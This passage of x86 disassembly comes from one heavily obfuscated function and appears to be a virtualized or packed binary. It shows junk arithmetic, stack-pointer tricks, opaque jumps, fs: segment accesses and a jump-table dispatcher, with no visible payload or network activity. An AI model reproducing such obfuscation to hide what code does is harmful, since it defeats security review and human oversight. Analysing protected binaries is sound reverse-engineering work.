		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], edx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58E9EA:				; CODE XREF: sub_58A891+6EA7j
		xor	bl, 0AEh
		shl	bl, 8
		not	bl
		not	bl
		sub	bl, 51h
		jmp	loc_598508
; ---------------------------------------------------------------------------


loc_58E9FC:				; CODE XREF: sub_58A891:loc_594CCBj
		shl	ebp, 5
		jz	loc_5939B4
		xor	ebp, 5DB6CF6Ah
		mov	edx, ebp
		pop	ebp
		add	edx, 2C050C7Bh
		jmp	loc_59A2B3
; ---------------------------------------------------------------------------


loc_58EA19:				; CODE XREF: sub_58A891+BE9Cj
		pop	ebx
		mov	esi, 6412582Ah
		jmp	loc_594372
; ---------------------------------------------------------------------------


loc_58EA24:				; CODE XREF: sub_58A891+B2ABj
		xor	esi, ecx
		jmp	loc_596CD1
; ---------------------------------------------------------------------------


loc_58EA2B:				; CODE XREF: sub_58A891+672Fj
		pop	eax
		shr	ch, 2
		shl	ch, 4
		or	ch, 7Ah
		inc	ch
		push	edx
		mov	dl, 0D9h
		jmp	loc_596E9C
; ---------------------------------------------------------------------------


loc_58EA3F:				; CODE XREF: sub_58A891+3E76j
					; sub_58A891+6D7Bj ...
		push	ebx
		mov	ebx, edi
		jmp	loc_59B6C1
; ---------------------------------------------------------------------------


loc_58EA47:				; CODE XREF: sub_58A891+CA1Bj
		mov	edi, 1BE72936h
		mov	eax, edi
		jmp	loc_595EA7
; ---------------------------------------------------------------------------


loc_58EA53:				; CODE XREF: sub_58A891+F5EDj
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_58EA5B:				; DATA XREF: sub_58A891+3993o
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_59603A
; ---------------------------------------------------------------------------


loc_58EA64:				; CODE XREF: sub_58A891+A1DBj
					; DATA XREF: sub_58A891+3AE3o
		movzx	ax, byte ptr fs:[edx]
		push	small 693Ch
		mov	word ptr [esp+0Ah+var_C+2], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58EA76:				; CODE XREF: sub_58A891+B7F6j
		push	edx
		push	eax
		mov	eax, 8B1369Ch
		mov	edx, 8B1369Ch
		xor	edx, eax
		jmp	loc_5910D9
; ---------------------------------------------------------------------------


loc_58EA89:				; CODE XREF: sub_58A891+D8D6j
		sub	ebx, 7694182Dh
		jl	loc_594006
		xor	ebx, 7BD6A067h
		mov	ah, 11h
		mov	cl, dh


loc_58EA9F:				; CODE XREF: sub_58A891+B416j
		push	ebp
		push	esp
		jmp	loc_592AEB
; ---------------------------------------------------------------------------


loc_58EAA6:				; CODE XREF: sub_58A891+3CFFj
		add	esp, 4
		sub	esp, 4
		mov	[esp+38h+var_38], ecx
		push	2030299Ah
		jmp	loc_5914C9
; ---------------------------------------------------------------------------


loc_58EABC:				; CODE XREF: sub_58A891+8D39j
		mov	[esp+3Ch+var_3C], edx
		jmp	loc_599136
; ---------------------------------------------------------------------------


loc_58EAC4:				; CODE XREF: sub_58A891+7AC2j
					; sub_58A891+10218j
		push	eax
		jmp	loc_591BF4
; ---------------------------------------------------------------------------


loc_58EACA:				; CODE XREF: sub_58A891+4585j
		add	edx, ebx
		add	[edx], esi
		pop	edx
		pop	ebx
		mov	esi, [esp+38h+var_38]
		push	ebp
		jmp	loc_59161D
; ---------------------------------------------------------------------------


loc_58EAD9:				; CODE XREF: sub_58A891+BFBCj
		add	ebp, 39D8144Eh
		jmp	loc_590627
; ---------------------------------------------------------------------------


loc_58EAE4:				; CODE XREF: sub_58A891+B15Fj
		mov	ebx, esi
		jmp	loc_597A7A
; ---------------------------------------------------------------------------


loc_58EAEB:				; CODE XREF: sub_58A891+585Aj
		xor	edi, ecx
		pop	ecx
		xor	eax, edi
		jmp	loc_59894E
; ---------------------------------------------------------------------------


loc_58EAF5:				; CODE XREF: sub_58A891+F1C8j
		push	esp
		mov	ebp, [esp+3Ch+var_3C]
		add	esp, 4
		push	edx
		mov	edx, 0D267ADDh
		or	edx, 7D0F18CFh
		jmp	loc_590552
; ---------------------------------------------------------------------------


loc_58EB0D:				; CODE XREF: sub_58A891+5160j
		mov	eax, [esp+3Ch+var_3C]
		push	ecx
		push	esp
		jmp	loc_58EE86
; ---------------------------------------------------------------------------


loc_58EB17:				; CODE XREF: sub_58A891+11124j
		pop	ebp
		pop	[esp+40h+var_40]
		mov	esp, [esp+3Ch+var_3C]
		jmp	loc_591CB0
; ---------------------------------------------------------------------------


loc_58EB23:				; CODE XREF: sub_58A891+EFBAj
		pop	ecx
		add	eax, edi
		pop	edi
		add	eax, esi
		sub	eax, 522771Ch
		pop	esi
		sub	esp, 4
		jmp	loc_5913E7
; ---------------------------------------------------------------------------


loc_58EB37:				; CODE XREF: sub_58A891+FF08j
		mov	[esp+34h+var_34], ecx
		push	ebp
		mov	ebp, 45B617C0h
		shl	ebp, 7
		sub	ebp, 6384D66h
		jmp	loc_595341
; ---------------------------------------------------------------------------


loc_58EB4E:				; CODE XREF: sub_58A891+108EBj
		add	edx, 4
		push	ecx
		jmp	loc_592DB8
; ---------------------------------------------------------------------------


loc_58EB5A:				; CODE XREF: sub_58A891+FB38j
		push	edi
		push	ebp
		push	519C5226h
		mov	ebp, [esp+48h+var_48]
		add	esp, 4
		neg	ebp
		jmp	loc_58EFB5
; ---------------------------------------------------------------------------


loc_58EB6E:				; CODE XREF: sub_58A891+AF07j
		mov	edi, 28127E68h
		xor	edi, 5DBA18C0h
		push	ecx
		mov	ecx, 6781591Dh
		jmp	loc_58F40C
; ---------------------------------------------------------------------------


loc_58EB84:				; DATA XREF: sub_58A891+39E3o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		push	esp
		pop	esi
		push	57E3h
		mov	[esp+10h+var_10], eax
		push	ecx
		jmp	loc_58F7D9
; ---------------------------------------------------------------------------


loc_58EB99:				; CODE XREF: sub_58A891+BD42j
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		add	ebp, 774738BCh
		add	ebp, 55EE3CB8h
		add	ebp, ebx
		sub	ebp, 55EE3CB8h
		push	edi
		mov	edi, 8AF7B20h
		sub	edi, 91684264h
		add	ebp, 3BD6356Ah
		sub	ebp, edi
		sub	ebp, 3BD6356Ah
		pop	edi
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	eax, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		push	edi
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	703B7517h
		pop	edx
		mov	edi, 703B751Bh
		jmp	loc_5903F5
; ---------------------------------------------------------------------------


loc_58EBFE:				; CODE XREF: sub_58A891+F9A1j
		add	esi, 4
		jmp	loc_59B51C
; ---------------------------------------------------------------------------


loc_58EC09:				; CODE XREF: sub_58A891+545Cj
		push	ecx
		mov	ecx, 5E1742Eh
		add	ecx, 0FFFFFFFFh
		xor	ecx, 5E17429h
		add	eax, ecx
		push	[esp+1Ch+var_1C]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		jmp	loc_59A3FF
; ---------------------------------------------------------------------------


loc_58EC31:				; CODE XREF: sub_58A891+7344j
		pop	edi
		push	eax
		mov	eax, 2AF32AC5h
		push	ebx
		mov	ebx, 0E0926F3h
		jmp	loc_58E6E3
; ---------------------------------------------------------------------------


loc_58EC43:				; DATA XREF: sub_58A891+3B6Bo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_596BB6
; ---------------------------------------------------------------------------


loc_58EC61:				; CODE XREF: sub_58A891+E9D8j
		pop	edx
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+8+var_8]
		jmp	loc_598586
; ---------------------------------------------------------------------------


loc_58EC6D:				; CODE XREF: sub_58A891+F13Bj
		add	eax, 85275E6h
		jmp	loc_5936FC
; ---------------------------------------------------------------------------


loc_58EC77:				; CODE XREF: sub_58A891+A186j
		pop	ecx
		add	esp, 4
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		push	esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_591271
; ---------------------------------------------------------------------------


loc_58ECA3:				; CODE XREF: sub_58A891+E05Aj
		mov	[esp+0], ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_59399A
; ---------------------------------------------------------------------------


loc_58ECB2:				; CODE XREF: sub_58A891+1017Dj
		add	[esp-4+arg_0], eax
		push	ebp
		mov	ebp, 170D4D5Ah
		add	[esp+arg_0], ebp
		pop	ebp
		jmp	loc_59BB12
; ---------------------------------------------------------------------------


loc_58ECC6:				; CODE XREF: sub_58A891+B4CEj
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 56A4306Ch
		jmp	loc_5907D6
; ---------------------------------------------------------------------------


loc_58ECD8:				; CODE XREF: sub_58A891+69AEj
		push	eax
		jmp	loc_598F44
; ---------------------------------------------------------------------------


loc_58ECDE:				; CODE XREF: sub_58A891+DF20j
		add	ecx, edx
		pop	edx
		shl	ecx, 6
		add	ecx, 3C06770Ch
		jmp	loc_59403B
; ---------------------------------------------------------------------------


loc_58ECEF:				; CODE XREF: sub_58A891+58E8j
		push	275Ah
		jmp	loc_5963FE
; ---------------------------------------------------------------------------


loc_58ECF9:				; DATA XREF: sub_58A891+3B23o
		mov	ax, word ptr [esp+8+var_8]
		push	eax
		mov	eax, esp
		jmp	loc_599BCE
; ---------------------------------------------------------------------------


loc_58ED05:				; DATA XREF: sub_58A891+3A2Bo
		mov	ecx, [esp+8+var_8]
		push	7AB9h
		mov	[esp+0Ch+var_C], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		mov	ebp, 28E2FA4h
		jmp	loc_59805D
; ---------------------------------------------------------------------------


loc_58ED22:				; CODE XREF: sub_58A891+71BDj
		mov	esi, ebp
		pop	ebp
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_595D64
; ---------------------------------------------------------------------------


loc_58ED30:				; DATA XREF: sub_58A891+3BF3o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 3CC27203h
		xor	eax, 6C812E59h
		jmp	loc_59B01E
; ---------------------------------------------------------------------------


loc_58ED47:				; DATA XREF: sub_58A891+3BE7o
		mov	ax, word ptr [esp+8+var_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_597E3C
; ---------------------------------------------------------------------------


loc_58ED59:				; CODE XREF: sub_58A891+83D6j
		pop	edx
		sub	edx, 1B359D2h
		pop	ecx
		jmp	loc_58E7F3
; ---------------------------------------------------------------------------


loc_58ED66:				; CODE XREF: sub_58A891+E109j
		mov	word ptr [esp+4+var_4],	ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58ED6F:				; CODE XREF: sub_58A891+56E9j
					; sub_58A891+6437j
		pop	esp
		mov	[esp+0], eax
		push	edx
		pop	eax
		pop	edx
		mov	edx, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		xor	eax, 7CC4794Ah
		add	eax, 5D749AA7h
		mov	ecx, eax
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_593282
; ---------------------------------------------------------------------------


loc_58EDA1:				; CODE XREF: sub_58A891+E2FCj
		add	ecx, ebp
		pop	ebp
		or	ecx, 52F47BE3h
		js	loc_598611
		jmp	loc_58FACB
; ---------------------------------------------------------------------------


loc_58EDB5:				; CODE XREF: sub_58A891+F076j
		pop	ecx
		add	ecx, esi
		pop	esi
		add	ecx, 2
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59A04E
; ---------------------------------------------------------------------------


loc_58EDCD:				; CODE XREF: sub_58A891:loc_59348Dj
		sub	ecx, 0F1502141h
		mov	eax, ecx
		pop	ecx
		add	ecx, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_58FD96
; ---------------------------------------------------------------------------


loc_58EDE6:				; CODE XREF: sub_58A891+A693j
		push	ebp
		mov	ebp, 39362BF7h
		xor	eax, ebp
		jmp	loc_594672
; ---------------------------------------------------------------------------


loc_58EDF3:				; CODE XREF: sub_58A891+D2B7j
					; sub_58A891+F45Fj
		sub	esp, 4
		jmp	loc_5916FF
; ---------------------------------------------------------------------------


loc_58EDFE:				; CODE XREF: sub_58A891+D41Aj
		mov	esi, edx
		pop	edx
		mov	dword ptr [edx+30h], 0D73EBCDEh
		push	ebx
		mov	ebx, 30h
		add	ebx, edx
		push	edx
		mov	edx, 0
		jmp	loc_58EACA
; ---------------------------------------------------------------------------


loc_58EE1B:				; CODE XREF: sub_58A891+6F23j
		push	ebx
		jmp	loc_59A0A7
; ---------------------------------------------------------------------------


loc_58EE21:				; CODE XREF: sub_58A891+E73Dj
		neg	edi
		sub	edi, 36CF157Dh
		shl	edi, 2
		jmp	loc_5983DD
; ---------------------------------------------------------------------------


loc_58EE31:				; CODE XREF: sub_58A891+77ADj
		pop	ecx
		xchg	edi, [esp-8+arg_0]
		pop	esp
		sub	esp, 4
		jmp	loc_5973DE
; ---------------------------------------------------------------------------


loc_58EE41:				; CODE XREF: sub_58A891+922Aj
		add	eax, 607FC5CBh
		sub	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		sub	esi, ebx
		jmp	loc_5903D1
; ---------------------------------------------------------------------------


loc_58EE53:				; CODE XREF: sub_58A891+75E8j
					; sub_58A891+8F78j
		add	ebp, 4
		push	edi
		mov	edi, 14E87681h
		not	edi
		jmp	loc_592665
; ---------------------------------------------------------------------------


loc_58EE66:				; CODE XREF: sub_58A891+BE60j
		add	esp, 4
		add	eax, 7FD27711h
		push	6B30h
		jmp	loc_593932
; ---------------------------------------------------------------------------


loc_58EE7B:				; CODE XREF: sub_58A891:loc_593EA0j
		xor	edx, 2E256651h
		jmp	loc_58F149
; ---------------------------------------------------------------------------


loc_58EE86:				; CODE XREF: sub_58A891+4281j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+44h+var_40]
		pop	ecx
		pop	[esp+44h+var_44]
		pop	esp
		sub	esp, 4
		mov	[esp+40h+var_40], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+40h+var_40]
		xor	[esp+40h+var_40], eax
		jmp	loc_58E61F
; ---------------------------------------------------------------------------


loc_58EEB8:				; CODE XREF: sub_58A891+5D91j
		push	esi
		push	4
		mov	esi, [esp+48h+var_48]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Ch+var_4C]
		jmp	loc_591BDA
; ---------------------------------------------------------------------------


loc_58EED8:				; CODE XREF: sub_58A891+5752j
		or	bl, 67h
		jno	loc_59735F
		sub	bl, 5Fh
		shl	bl, 5
		not	bl
		mov	edi, eax
		pop	eax


loc_58EEEC:				; CODE XREF: sub_58A891+C99Cj
		mov	ecx, [esp+48h+var_48]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+44h+var_44]
		pop	esp
		jmp	loc_594B2C
; ---------------------------------------------------------------------------


loc_58EEFE:				; CODE XREF: sub_58A891+A99Ej
		pop	eax
		add	esp, 4
		jmp	loc_59AA7A
; ---------------------------------------------------------------------------


loc_58EF0A:				; CODE XREF: sub_58A891+10753j
		push	ebp
		mov	ebp, 2155117Ch
		sub	edx, ebp
		jmp	loc_59B593
; ---------------------------------------------------------------------------


loc_58EF17:				; CODE XREF: sub_58A891+514Fj
		push	11C7h
		mov	[esp+40h+var_40], eax
		push	esp
		push	[esp+44h+var_44]
		pop	eax
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp+48h+var_48]
		jmp	loc_59A937
; ---------------------------------------------------------------------------


loc_58EF46:				; CODE XREF: sub_58A891+6E99j
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp+48h+var_48]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+44h+var_44]
		jmp	loc_599579
; ---------------------------------------------------------------------------


loc_58EF61:				; CODE XREF: sub_58A891+782Dj
		or	word ptr [esp+44h+var_44], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58EF6B:				; CODE XREF: sub_58A891+3EAEj
		dec	word ptr [esp+40h+var_40]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58EF75:				; CODE XREF: sub_58A891+6CB2j
		pop	ebx
		sub	edi, 0A0B78FCh
		std
		push	ebx
		push	edi
		mov	edi, 353F21D9h
		mov	ebx, edi
		pop	edi
		and	ebx, 2DC35D83h
		jg	loc_599D90
		neg	ebx
		jle	loc_5918F3
		jle	loc_591B0E
		push	ebx


loc_58EFA2:				; CODE XREF: sub_58A891+8E05j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+48h+var_48]
		jmp	loc_59697B
; ---------------------------------------------------------------------------


loc_58EFB5:				; CODE XREF: sub_58A891+42D8j
		shl	ebp, 8
		jmp	loc_59AAFE
; ---------------------------------------------------------------------------


loc_58EFBD:				; CODE XREF: sub_58A891+A176j
		sub	ax, bp
		mov	bp, ax
		jmp	loc_599A24
; ---------------------------------------------------------------------------


loc_58EFC8:				; CODE XREF: sub_58A891+9196j
		pop	[esp+44h+var_44]
		mov	esp, [esp+40h+var_40]
		jmp	loc_591E4A
; ---------------------------------------------------------------------------


loc_58EFD3:				; CODE XREF: sub_58A891+10945j
		sub	esp, 4
		jmp	loc_594379
; ---------------------------------------------------------------------------


loc_58EFDB:				; CODE XREF: sub_58A891:loc_590EA6j
		sub	edx, 4FFF77FEh
		mov	eax, edx
		pop	edx
		jmp	loc_591CA0
; ---------------------------------------------------------------------------


loc_58EFE9:				; CODE XREF: sub_58A891+E497j
		pop	eax
		sub	esp, 4
		jmp	loc_5962AA
; ---------------------------------------------------------------------------


loc_58EFF2:				; CODE XREF: sub_58A891+1077Dj
		add	edi, 4
		xchg	edi, [esp+40h+var_40]
		pop	esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], esi
		xor	esi, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], ebx
		jmp	loc_595B8F
; ---------------------------------------------------------------------------


loc_58F016:				; CODE XREF: sub_58A891+49C9j
		pop	edx
		and	eax, ecx
		jmp	loc_592F6F
; ---------------------------------------------------------------------------


loc_58F01E:				; CODE XREF: sub_58A891+E188j
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F027:				; CODE XREF: sub_58A891+9261j
		mov	ebx, 1D3F15F9h
		xor	ebx, edx
		pop	edx
		add	eax, ebx
		jmp	loc_591E29
; ---------------------------------------------------------------------------


loc_58F036:				; CODE XREF: sub_58A891+A3A5j
		inc	ebx
		js	loc_59038E
		jmp	loc_599CEF
; ---------------------------------------------------------------------------


loc_58F042:				; CODE XREF: sub_58A891+8ABFj
		pop	esi
		add	[esp+30h+var_2C], ecx
		push	ecx
		mov	ecx, 4E962EFDh
		sub	[esp+34h+var_2C], ecx
		pop	ecx
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_593024
; ---------------------------------------------------------------------------


loc_58F05D:				; CODE XREF: sub_58A891+878Ej
		add	eax, 54AF75C9h
		sub	eax, 67FE51F4h
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		sub	eax, 1C8E08A4h
		sub	eax, ebx
		sub	esp, 4
		jmp	loc_599971
; ---------------------------------------------------------------------------


loc_58F07C:				; CODE XREF: sub_58A891+A2A1j
		mov	[esp+2Ch+var_2C], eax
		jmp	loc_595247
; ---------------------------------------------------------------------------


loc_58F084:				; CODE XREF: sub_58A891+8648j
					; sub_58A891+AB46j
		inc	ebp
		push	edi
		mov	edi, 75504Ch
		sub	edi, 5B156637h
		sub	edi, 6D57447Eh
		jmp	loc_598C1E
; ---------------------------------------------------------------------------


loc_58F09C:				; CODE XREF: sub_58A891+BE2Bj
		mov	eax, 27385BF9h
		or	eax, 3C035A64h
		jmp	loc_593CDD
; ---------------------------------------------------------------------------


loc_58F0AB:				; CODE XREF: sub_58A891+5B03j
		sub	ecx, 1C322CA0h
		jmp	loc_594DD5
; ---------------------------------------------------------------------------


loc_58F0B6:				; CODE XREF: sub_58A891+B148j
		and	dh, 0A5h
		neg	dh
		jmp	loc_59019D
; ---------------------------------------------------------------------------


loc_58F0C0:				; CODE XREF: sub_58A891+6B21j
		add	ecx, 933C53C3h
		or	ebx, ecx
		jmp	loc_599B70
; ---------------------------------------------------------------------------


loc_58F0CD:				; CODE XREF: sub_58A891+6968j
		sub	ah, 6Dh
		jmp	loc_598810
; ---------------------------------------------------------------------------


loc_58F0D5:				; CODE XREF: sub_58A891+E768j
		mov	bl, 71h
		not	bl
		jmp	loc_59A24B
; ---------------------------------------------------------------------------


loc_58F0DE:				; CODE XREF: sub_58A891+6EB8j
		mov	[esp+30h+var_30], edx
		mov	edx, 23D274Bh
		sub	edx, 3A561483h
		push	eax
		mov	eax, 1D505439h
		jmp	loc_59612D
; ---------------------------------------------------------------------------


loc_58F0F7:				; CODE XREF: sub_58A891+E49Ej
		and	al, 0B2h
		jo	loc_5940B6
		add	al, 0F1h
		sub	bl, al
		pop	eax
		jmp	loc_592A6B
; ---------------------------------------------------------------------------


loc_58F109:				; CODE XREF: sub_58A891+E043j
		add	edx, 42476B71h
		jmp	loc_599A3B
; ---------------------------------------------------------------------------


loc_58F114:				; CODE XREF: sub_58A891+A53Fj
		mov	dl, 21h
		jmp	loc_591513
; ---------------------------------------------------------------------------


loc_58F11B:				; CODE XREF: sub_58A891+C0BDj
		xor	al, cl
		pop	ecx
		jmp	loc_591037
; ---------------------------------------------------------------------------


loc_58F123:				; CODE XREF: sub_58A891+870Cj
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], ecx
		jmp	loc_595DCD
; ---------------------------------------------------------------------------


loc_58F13D:				; CODE XREF: sub_58A891+B20Bj
		mov	esi, esp
		push	4764h
		jmp	loc_5972B6
; ---------------------------------------------------------------------------


loc_58F149:				; CODE XREF: sub_58A891+45F0j
		jmp	loc_59B602
; ---------------------------------------------------------------------------


loc_58F14E:				; DATA XREF: sub_58A891+3AABo
		mov	eax, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		jmp	loc_591744
; ---------------------------------------------------------------------------


loc_58F159:				; CODE XREF: sub_58A891+DB70j
		jmp	loc_58E524
; ---------------------------------------------------------------------------


loc_58F15E:				; CODE XREF: sub_58A891+55C5j
					; sub_58A891+CB48j
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F166:				; CODE XREF: sub_58A891+6062j
		jmp	loc_594F0A
; ---------------------------------------------------------------------------


loc_58F16B:				; CODE XREF: sub_58A891+6E7Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5931FF
; ---------------------------------------------------------------------------


loc_58F179:				; CODE XREF: sub_58A891+7EB2j
		mov	ecx, 2DD8653Ch
		mov	esi, 5591A92h
		add	esi, ecx
		pop	ecx
		sub	esi, 18630910h
		shr	esi, 1
		jmp	loc_58F4F5
; ---------------------------------------------------------------------------


loc_58F193:				; CODE XREF: sub_58A891+7D89j
		push	6B1h
		mov	[esp+16h+var_18+2], ecx
		mov	ch, 8Eh
		sub	ch, 0F0h
		neg	ch
		shr	ch, 3
		push	bx
		mov	bl, 0D8h
		sub	ch, bl
		jmp	loc_592872
; ---------------------------------------------------------------------------


loc_58F1B0:				; CODE XREF: sub_58A891+8909j
		dec	esi
		jz	loc_595FCE
		dec	esi
		jmp	loc_591D6B
; ---------------------------------------------------------------------------


loc_58F1BD:				; CODE XREF: sub_58A891+57A0j
		push	[esp+18h+var_18]
		pop	ebx
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_596144
; ---------------------------------------------------------------------------


loc_58F1CA:				; CODE XREF: sub_58A891+8379j
		sub	esp, 2
		mov	word ptr [esp+24h+var_24], dx
		mov	dh, 0F2h
		add	al, dh
		jmp	loc_5947AB
; ---------------------------------------------------------------------------


loc_58F1DD:				; CODE XREF: sub_58A891+B220j
		and	ebp, 3F502937h
		add	ebp, 480928A1h
		jmp	loc_593AA4
; ---------------------------------------------------------------------------


loc_58F1EE:				; CODE XREF: sub_58A891+6DE8j
		sub	al, cl
		jmp	loc_596C66
; ---------------------------------------------------------------------------


loc_58F1F5:				; CODE XREF: sub_58A891+D155j
		mov	esp, [esp+24h+var_24]
		add	[esp+24h+var_24], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F201:				; CODE XREF: sub_58A891+D725j
		add	ebx, ebp
		pop	ebp
		xor	ebp, ebx
		jmp	loc_590229
; ---------------------------------------------------------------------------


loc_58F20B:				; CODE XREF: sub_58A891+F180j
		push	eax
		jmp	loc_59119F
; ---------------------------------------------------------------------------


loc_58F211:				; CODE XREF: sub_58A891+8E18j
		sub	ebp, 782A1097h
		add	ebp, eax
		jmp	loc_58FAB2
; ---------------------------------------------------------------------------


loc_58F21E:				; CODE XREF: sub_58A891+4A4Fj
					; sub_58A891+BC9Bj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59317C
; ---------------------------------------------------------------------------


loc_58F22C:				; CODE XREF: sub_58A891+C589j
		sub	esi, 6F7229DBh
		pop	ecx
		xchg	esi, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		mov	fs:[edx], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F242:				; CODE XREF: sub_58A891+79FAj
		push	5B13h
		mov	[esp+28h+var_28], ecx
		push	esp
		mov	ecx, [esp+2Ch+var_2C]
		jmp	loc_59389D
; ---------------------------------------------------------------------------


loc_58F253:				; CODE XREF: sub_58A891+90A5j
		mov	edx, 1000000h
		mov	ecx, edx
		jmp	loc_58F016
; ---------------------------------------------------------------------------


loc_58F25F:				; CODE XREF: sub_58A891+817Cj
		add	[esp+2Ch+var_2C], 4
		mov	ebp, [esp+2Ch+var_2C]
		jmp	loc_592434
; ---------------------------------------------------------------------------


loc_58F26E:				; CODE XREF: sub_58A891+9921j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58F273:				; CODE XREF: sub_58A891+BA14j
		sub	esi, ecx
		pop	ecx
		push	esi
		sub	[esp+2Ch+var_2C], 6C5F06D2h
		pop	edi
		add	edi, 6C5F06D2h
		push	[esp+28h+var_28]
		pop	esi
		jmp	loc_59AC3B
; ---------------------------------------------------------------------------


loc_58F28E:				; CODE XREF: sub_58A891+10C25j
		mov	ebp, [esp+28h+var_28]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_593AF7
; ---------------------------------------------------------------------------


loc_58F299:				; CODE XREF: sub_58A891+6201j
		shl	esi, 4
		shl	esi, 8
		add	esi, 60AA25C6h
		jmp	loc_5919C7
; ---------------------------------------------------------------------------


loc_58F2AA:				; CODE XREF: sub_58A891+766Dj
		pop	ecx
		xor	ebx, [esp+28h+var_28]
		jmp	loc_596A9C
; ---------------------------------------------------------------------------


loc_58F2B3:				; CODE XREF: sub_58A891+E30Bj
		mov	edx, 150D415Eh
		and	edx, 5ED62D22h
		jnb	loc_599850
		not	edx
		sub	edx, 0E190FBA4h
		mov	ebx, edx


loc_58F2CE:				; CODE XREF: sub_58A891+D7CFj
		and	ebp, 44667684h
		jnz	loc_590836
		xor	ebp, 3BFC4CB3h
		jmp	loc_58F21E
; ---------------------------------------------------------------------------
		dec	ebp
		push	esp


loc_58F2E7:				; CODE XREF: sub_58A891+10B91j
		xor	edx, 1B93A324h
		add	ebx, 460F0C31h
		add	ebx, edx
		push	edx
		mov	edx, 45572C5Bh
		jmp	loc_5923B6
; ---------------------------------------------------------------------------


loc_58F300:				; CODE XREF: sub_58A891:loc_591B7Aj
		sub	edx, 4FFF77FEh
		mov	eax, edx
		jmp	loc_59816C
; ---------------------------------------------------------------------------


loc_58F30D:				; CODE XREF: sub_58A891+AB10j
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+30h+var_30]
		jmp	loc_599C2A
; ---------------------------------------------------------------------------


loc_58F325:				; CODE XREF: sub_58A891+B685j
		xor	ecx, [esp+30h+var_30]
		jmp	loc_59B4BB
; ---------------------------------------------------------------------------


loc_58F32D:				; CODE XREF: sub_58A891+D8C4j
		sub	ecx, edi
		pop	edi
		push	edx
		push	esp
		mov	edx, [esp+34h+var_34]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		mov	[esp+30h+var_30], ecx
		push	[esp+30h+var_2C]
		pop	ecx
		pop	[esp+30h+var_30]
		jmp	loc_593D73
; ---------------------------------------------------------------------------


loc_58F35D:				; CODE XREF: sub_58A891+105C4j
		sub	edi, 4
